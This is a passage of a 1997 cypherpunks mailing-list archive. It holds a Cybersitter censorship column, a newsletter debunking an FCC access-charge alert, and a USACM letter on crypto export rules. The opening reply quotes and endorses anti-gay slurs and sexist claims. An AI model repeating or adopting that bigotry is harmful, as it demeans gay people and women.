not the rule, and 99.9999% of all religious people are fools.

 
> > > It is very logical and wise to discriminate on the basis of sex.

Here I can agree, I personally discriminate on the basis of sex, not 
in that I believe women inferior to men but rather that I believe 
each sex better suited to different tasks and vocations.
That is not, however, to say that I believe women should be prevented 
from taking up lines of work that men traditionally hold.
They are free to do so, but as in the example you give later 
I would feel uncomfortable having my car serviced by a woman.

> > Most would disagree, and decide based on that and other statements you
> > have made that you must be an extremely unpleasant person.
> > 
> 
> See, there you go again, attacking the person, instead of the
> argument.  You lose points for that.  Sexism is GOOD and right and
> justified.  I want a woman cutting my hair, and a man fixing my car,
> and I demand the correct sex for ALL activities.

Exactly, the poster has failed to recognise that you have every right 
to discrimate as you do and are justified in doing so. They are 
probably either homosexual and feel threatened or they are censorous 
and feel they must protect people from being "defamed" etc...
 
> > If you want to fight censorship effectively, going around telling
> > people "You're a shit-eating faggot you fucking cock-sucking homo
> > censor" in public forums is not going to win you many points.
> 
> Look sonny, I am not out to win any points.  I have two Doctorates and
> 22 years of experience.   I speak with authority and only to those who
> have the intelligence to understand.   I was a perfect 4.00 in
> College, and am probably the most intelligent body-politic analyst in
> the world.  Now let's face it:  Faggots are BAD news.  They are most
> always censors!  And that is the truth you can never get around.

I agree, I have no prejudice against homosexuals. Rather I have 
formulated a low opinion of them as a group due to their censorous 
behaviour. I think it is because they feel threatened by straight 
people.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Fri, 14 Feb 1997 17:09:24 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131958.LAA09852@toad.com>
Message-ID: <199702150108.TAA09128@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:
 > subs-cri-be to the unedited list.

Nope.  I get duplicates with new ID's here, and I have duplicate ID
removing recipe enabled.  

I am subscribed to the list as cyberpass.net now, and not on toad
anymore, al least I shouldn't be.

Should be resolved by the 20th ;).

me
-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:17:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Cybersitter
Message-ID: <01IFF0YZ3YVC9AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Cybersitter

[Forwarded with permission.]

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Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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Date: Thu, 30 Jan 97 08:23:58 -0500 (EST)
From: kkc@COMPETITOR.NET(K.K. Campbell)
Subject: Cybersitter & Wallace

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    WHO'S WATCHING THE 'WATCHERS'?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                  by
                             K.K. CAMPBELL

                              Net.column
                           The Toronto Star
                      Thursday, January 30, 1997


One of the most controversial aspects of cyberspace is censorship. A
widely accepted solution to eliminating the "unwanted" is self-imposed
censorship, through special software which blocks out types of content
not desired.

The appeal of these programs is that people needn't rely on distant
authority to dictate acceptability. We police ourselves; or at least we
have some control over how we will be policed.

The news media have generally blessed "blocking software" with
unexamined sprinklings of warm praise. After all, who dares suggest
that stopping your 5-year-old from seeing graphic gore, violence or sex
is bad? What could go wrong with that?

But, now critics are starting to ask, who is "watching the watchers?"
Could these watchers themselves develop more "creative applications"
for their power to silence? Could they apply their own personal
prejudices, or even their own hidden agendas?

Or is that paranoid nonsense?

Ask U.S. author Jonathan Wallace (jw@bway.net). Wallace says
California's Solid Oak software, which produces Cybersitter blocking
software, has added his site to its "block list" in retaliation for
critical remarks he made about the company.

Solid Oak claims 900,000 registered Cybersitter users.

Wallace, a New York-based software business executive and attorney is
co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95).
Net.column will discuss the book with its author next installment.

He's also editor of the monthly Webzine _The Ethical Spectacle_, which
focuses on "the intersection of ethics, law and politics in our
society."

The Webzine recently asked readers to not purchase Cybersitter because
of continuing reports of Solid Oak's "unethical behavior."

"In the book," Wallace says in a press release explaining his current
attitude to Cybersitter, "we took the position -- naively, I now think
-- that use of blocking software by parents was a less restrictive
alternative to government censorship. We never expected that publishers
of blocking software would block sites for their political content
alone, as Solid Oak has done."

Solid Oak unequivocably denies there is a political agenda of any kind
et work.

"Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a
phone interview. Kanter is Solid Oak's vice president of marketing.
"There is no hidden political agenda."

Kanter says someone criticizing Cybersitter would not be blocked. He
says Wallace's site is blocked because it "links information on how to
hack Cybersitter. We do not allow our customers to have hacking
information for the program."

Wallace told The Star that's not true. "There's no such information on
my site, nor is there on Peacefire's. I link to some pages maintained
by Glen Roberts, who -- along with some political commentary on
Cybersitter, and analysis of its blocking policy -- offers a (legal)
work-around. However, since his site is separately blocked by
Cybersitter, there is no reason for them to block my site as well."

Kanter dismisses Wallace's complaints. "The guy didn't do any
homework," Kanter says. "There are a few people who are right-wing
activists who are out there that are trying to defame the filtering
program. This is what leads to stories like you are doing -- and
hopefully you are not supportive of their actions."

Wallace didn't know what to make of that. "I've been called a
communist, a socialist, and a wild-eyed civil libertarian, but no one
has ever called me right wing before," he says. "Kanter has obviously
never read _The Ethical Spectacle_."

While Cybersitter, with fanfare, claims its mission is to block Web
sites containing pornography, obscenity, gratuitous violence, hate
speech, criminal activity, etc., an increasing number of investigative
Net.journalists also claim Cybersitter, without fanfare, blocks access
to Web sites based on political criteria.

                          FOR OUR OWN GOOD

This brouhaha began last summer when CyberWire Dispatch revealed
Cybersitter blocks sites based on political agenda, such as the
feminist National Organization for Women (www.now.org).

Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian
Milburn (bmilburn@solidoak.com) about that.

"Milburn isn't shy about it," Meeks reported. "He was outright
indignant when he originally told Dispatch: 'If NOW doesn't like it,
tough'."

Solid Oak threatened to sue Dispatch for its article, but things
quieted down.

In December, the issue erupted again when 18-yearold Bennett Haselton
(bennett@peacefire.org) wrote an article about the company's selection
of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?"
(www.peacefire.org/censorware/CYBERsitter.html).

Haselton takes computer science and math at Vanderbilt University.
"Peacefire" is his own creation, a teen cyberrights group, average age
15.

According to various Net.journalists, Solid Oak now threatened Bennett
with a lawsuit and even tried to get the Peacefire site booted from its
host system (media3.net) by telling Media3 that Haselton was making it
"his mission in life to defame our product" by "routinely" publishing
names of sites blocked by Cybersitter.

(It should be noted it's easy to figure out which sites are blocked,
the software provides an output list. Try "playboy.com" -- blocked. Try
"whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org"
-- blocked.)

Unsuccessful in his pressure against Media3, Milburn instead included
the peacefire.org domain in Cybersitter's block list.

On Dec. 9, HotWired picked the story up
(www.wired.com/news/story/901.html). NetAction Notes
(www.netaction.org) quickly followed suit. Haselton told his story to
the Electronic Frontier Foundation and the EFF assured him it would
represent him, should Solid Oak deliver on its threat to sue.

On Dec. 20, The Netly News (http://netlynews.com) continued the
investigation of Cybersitter. Aside from the irony of Cybersitter
censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and
university sites such as well .com, zoom.com, anon.penet.fi, best.com,
webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu,
c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are
using it."

                       BLACK LIST TO BLOCK LIST

Wallace read the reports of legal threats against the teenager and
thought "Milburn was acting like the proverbial 800-pound gorilla."

So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy
Cybersitter."

"I wrote the company," he says, "informing them of my actions and
telling them that they misrepresent their product when they claim it
blocks only indecent material, hate speech and the like."

Wallace says Solid Oak responded by adding his Webzine to its block
list. Learning of this, Wallace wrote Milburn and Solid Oak tech
support.

"I pointed out that _The Spectacle_ does not fit any of their published
criteria for blocking a site," he says. "I received mail in return
demanding that I cease writing to them and calling my mail 'harassment'
-- with a copy to the postmaster at my ISP."

Kanter acknowledges this. "He spoke to us more than once or twice -- he
continued to send mail -- mail like that is considered 'not wanted' and
is automatically sent back."

By the end of our phone conversation, Kanter had dropped the
"right-wing activist" explanation of who was behind the Cybersitter
complaints and offered a new one:

"Some of this rhetoric was started by someone we believe to be a highly
-- how do you put it? -- a highly homosexual individual, who did not
believe we should have the right to block any sites or links to
alternative lifestyles. That's how a lot of this got started."

Why is the National Organization for Women site blocked?

"Very simple. It contains links to gay and lesbian hardcore material. I
was on their page this morning, and there is a lot of offensive
material linked directly. Just go to their links page and start looking
at 'gay' and 'feminism.' Our parents don't want that kind of stuff."

I asked if he really meant "hardcore" -- suggestive of full-penetration
images/stories.

"Yes, by links through links," he clarifies. If someone followed the
links starting at now.org, they'd eventually find hardcore sexual
material.

Kanter says parents are not permitted to know which sites Cybersitter
blocks.

"That list is not given to anybody under any circumstances -- including
law enforcement agencies that have requested it." He says it's to
prevent the list from "getting into the wrong hands."

It would be a cybermap to naughtiness for some kids. And parents aren't
allowed to remove blocked sites from Cybersitter, although they can add
to the list.

Cyber-rights activists claim the incident underscores warnings they've
issued for years: While censorship software may first aim to protect
children against "pornography," it can quickly be adopted for political
agendas.

_The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site
can be found at www.solidoak.com.

-30-

Copyright 1997 K.K. Campbell





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:17:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Fear and Loathing at the FCC
Message-ID: <01IFF0ZI2MHO9AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 07:16:51.99
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Fear and Loathing at the FCC

[Forwarded with permission.  This is the closest thing I've found to real
research on the FCC-access-charges-for-ISP's action alert you have no doubt
seen recently.  Right or wrong, this was an incredibly badly designed alert.
Please let me recommend that you *never* forward any kind of alert message
unless it is signed, includes detailed background information or at least
a URL that points to background information, and includes a time-out date. 
For more information on the proper construction of Internet action alerts,
see  http://communication.ucsd.edu/pagre/tno/january-1994.html#action ]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 20:18:54 -0600
From: Patrick Douglas Crispen <crispen@campus.mci.net>
Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC

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    \___/  \___/   T h e   I n t e r n e t   T o u r B u s   \___/

TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC
TODAY'S ADDRESSES:
     http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
     http://www.educom.edu/web/edupage.html
     http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
     http://www.fcc.gov/isp.html

Hi, kids!

Put your seat belts on, because our latest adventure is about to get under
way!  Before we pull out of the terminal, though, can I interest anyone in
a magazine or two?  :)

+--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+
 Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons
   more!  Plus, pick from 50 FREE subscriptions.  Send email now to:
+-------------------- ( tourbus@magazines.com ) ---------------------+

By the way, I have a sinking feeling that a few of you may want to forward
part of today's post to some of your friends.  I would be happy if you did
this -- just make sure that you give credit where credit is due.  :)

EDUPAGE
-------

I think I am losing my mind.  I distinctly remember pulling our little bus
of Internet happiness into Edupage before, but for the life of me I can't
find a copy of that post anywhere in the TOURBUS archives (which, by the
way, can be found on the World Wide Web at
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm).

Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of
news items on information technology, and is provided three times each week
as a service by Educom -- a consortium of leading colleges and universities
seeking to transform education through the use of information technology."

Edupage is actually a misnomer, because Edupage doesn't really talk about
education.  Rather, Edupage send you one paragraph summaries of technology
stories printed in leading newspapers and magazines (like Business Week,
Information Week, Forbes, etc.).  Each issue of Edupage usually contains
between 6 and 10 of these summaries.

If you want to subscribe to Edupage (remember, it's FREE), just send an
e-mail letter to

     LISTPROC@EDUCOM.UNC.EDU

with the command

     SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME

in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME
with your first and last names.

You can also find Edupage on the Web at

     http://www.educom.edu/web/edupage.html

Edupage is clearly one of my favorite resources on the Net.  It provides
cutting-edge technology information in a size that is easy to digest, and
as a professional college student I *often* find myself quoting and
applying the information that I have found in Edupage.


FEAR AND LOATHING AT THE FCC
----------------------------

Over the past couple of weeks, you may have received e-mail letters telling
you that

     Many local telephone companies have filed a proposal with the FCC
     [The United States' Federal Communications Commission] to impose
     per minute charges for Internet service.  They contend that use
     of Internet has or will hinder the operation of the telephone
     network.

At first, I thought that this was simply a new version of the old "modem
tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has
been floating around the Net since *1987*.   After all, the current FCC
story has all of the markings of a classic urban legend:

     1. It uses official-looking language;

     2. It mentions a government agency or an organization with
        which everyone is familiar;

     3. It contains a plea for you to take some sort of immediate
        action; and

     4. It requests that you forward the warning letter to as many
        people as possible.

Besides, according to an article that appeared in this morning's Edupage,

     ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?"
     Tired of telephone companies' complaints that Internet usage is
     overwhelming their network capacity, the Internet Access
     Coalition has released findings contending that Net usage is, in
     reality, a bonanza for the Bells.  The study found that local
     carriers received a total of $1.4 billion in 1995 in revenues
     resulting from the installation of second lines in homes, while
     spending only $245 million to beef up their networks for the
     additional usage.  A Bell Atlantic spokesman says the real
     problem is that the telcos have no idea when a line will be used
     for data rather than voice, and thus tied up longer.  Both sides
     agree that the ultimate solution is higher capacity networks.
     (Business Week 17 Feb 97)

Well, out of curiosity -- and out of a deep-felt desire to avoid studying
for the two major economics tests that I have next week -- your fearless
bus driver decided to call the FCC in Washington to see if anyone there was
willing to talk about this rather explosive issue.  Unfortunately, I soon
discovered that the FCC only has one employee, she is a secretary, and her
job is to transfer all incoming telephone calls into voice mail hell.  :)

Actually, I talked to some nice people at the FCC who faxed me a 10 page
explanation of what's *really* going on.  Unfortunately, the 10 page
explanation was written in "FCC-ese," so I am going to have to translate
their explanation into English for you (and I can assure you that, since I
know *NOTHING* about telephony, my translation will probably contain a few
inaccuracies;  if it does, please let me know).

First, some local telephone companies have indeed asked the FCC to allow
them to assess a per minute access charge on the telephone lines used by
Internet Service Providers.  Local telephone companies currently charge
long-distance carriers (like AT&T and MCI) an interstate access charge for
the long-distance traffic that travels over their local lines, and the
local telephone companies would like to see this charge extended to include
the high-speed lines that your local Internet Service Provider uses to
access the Internet.

In December, the FCC rejected the telephone companies' request and
tentatively concluded "that the existing pricing structure for information
services should remain in place."  In other words, the FCC has tentatively
concluded that Internet service providers should *NOT* be subject to the
interstate access charges that local telephone companies currently assess
on long-distance carriers.

The FCC now seeks the public's comments on this conclusion.

Unfortunately, the "warning" letter that is currently circulating around
the Internet gives the impression that some sort of sinister operation is
afoot here, that the FCC and the telephone companies are trying to sneak
this proposal through without anyone noticing, and that it is up to each
and every one of us to stop the evil FCC.

What garbage.  In fact, the FCC has, at least tentatively, REJECTED the
telephone companies' proposal.  The FCC is now simply asking you if you
agree or disagree with their decision.

The most disappointing aspect of this whole situation is that because of
the misinformation that has been distributed across the Internet over the
past couple of weeks, the FCC has received 100,000+ e-mail letters, most of
which flame them for making a decision that EVERYONE AGREES WITH!  Hands
down, the flaming of the FCC is one of the Internet's most shameful acts
ever.

I also discovered another thing about the FCC that increased my respect for
their organization one-hundred-fold.  Part of the 10 page explanation that
the FCC sent me states that their "existing rules have been designed for
traditional circuit-switched voice networks, and thus may hinder the
development of emerging packet-switched data networks."  Because of this,
the FCC is also seeking the public's comments on the implications of the
Internet and its usage through the public switched telephone network.

Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use
some more information so that we are better prepared for whatever happens
in the future' has earned my respect and admiration.

By the way, most of the information that I have shared with you today can
be found on the FCC's "ISP" homepage at

     http://www.fcc.gov/isp.html

If you would like to send your comments to the folks at the FCC (the
deadline for comments about their decision not to impose interstate access
changes on Internet service providers is Friday, February 14th), make sure
that you check the FCC's ISP Web page first.  At the bottom of this page
are some pretty specific instructions on what you need to put in the
subject line of you e-mail letter before you submit it to the FCC.

Personally, I'm going to leave the poor folks at the FCC alone for a while.
They seem to be doing a great job in the face of unnecessary (and
misinformed) opposition.

TODAY'S ADDRESSES
-----------------
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
http://www.educom.edu/web/edupage.html
http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
http://www.fcc.gov/isp.html

That's it for this week.  Have a safe and happy weekend, and make sure that
you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome,
Magazines.Com, and ...

*--------------------------- MASS MUSIC -----------------------------*
  More Music For Your Money!  Over 185,000 Titles Just A Click Away.
 FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt!
      TOURBUS Rider Discount code: SAVENOW! use it and save 5%
*------------------(  http://www.Mass-Music.com  )-------------------*

--------------------------------
TODAY'S SOUTHERN WORD OF THE DAY
--------------------------------

LAYMAN (noun).  A tart fruit.
Usage:  "Hunny, git me some more of that layman aid!"

(Special thanks goes to Tom Bates for today's word)

YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD
HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html

======================================================================
 Join  : Send SUBSCRIBE TOURBUS Your Name to LISTSERV@LISTSERV.AOL.COM
 Leave : Send SIGNOFF TOURBUS to LISTSERV@LISTSERV.AOL.COM
 Info  : On the Web at http://www.worldvillage.com/tourbus.htm
 Advertising: E-mail BobRankin@MHV.net w/ Subject: SEND TBRATES
=--------------------------------------------------------------------=
  For info on my new book "Atlas for the Information Superhighway"
     send an e-mail letter to LISTSERV@UA1VM.UA.EDU that says
     GET ATLAS INFO F=MAIL in the body of your e-mail letter
======================================================================

     TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin
 All rights reserved.  Redistribution is allowed only with permission.
     Send this copy to 3 friends and tell them to get on the Bus!

   (\__/)  .~    ~. ))
   /O O  ./      .'             Patrick Douglas Crispen
  {O__,   \    {               The University of Alabama
    / .  . )    \                crispen@campus.mci.net
    |-| '-' \    }           http://ua1vm.ua.edu/~crispen/
   .(   _(   )_.'
  '---.~_ _ _&                    Warning: squirrels.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:18:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <01IFF105ETE89AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 08:14:58.81
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	USACM analysis of Commerce Dept crypto export proposals

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 22:15:40 -0500
From: Lauren Amy Gelman <gelmanl@GWIS2.CIRC.GWU.EDU>

[...]


February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

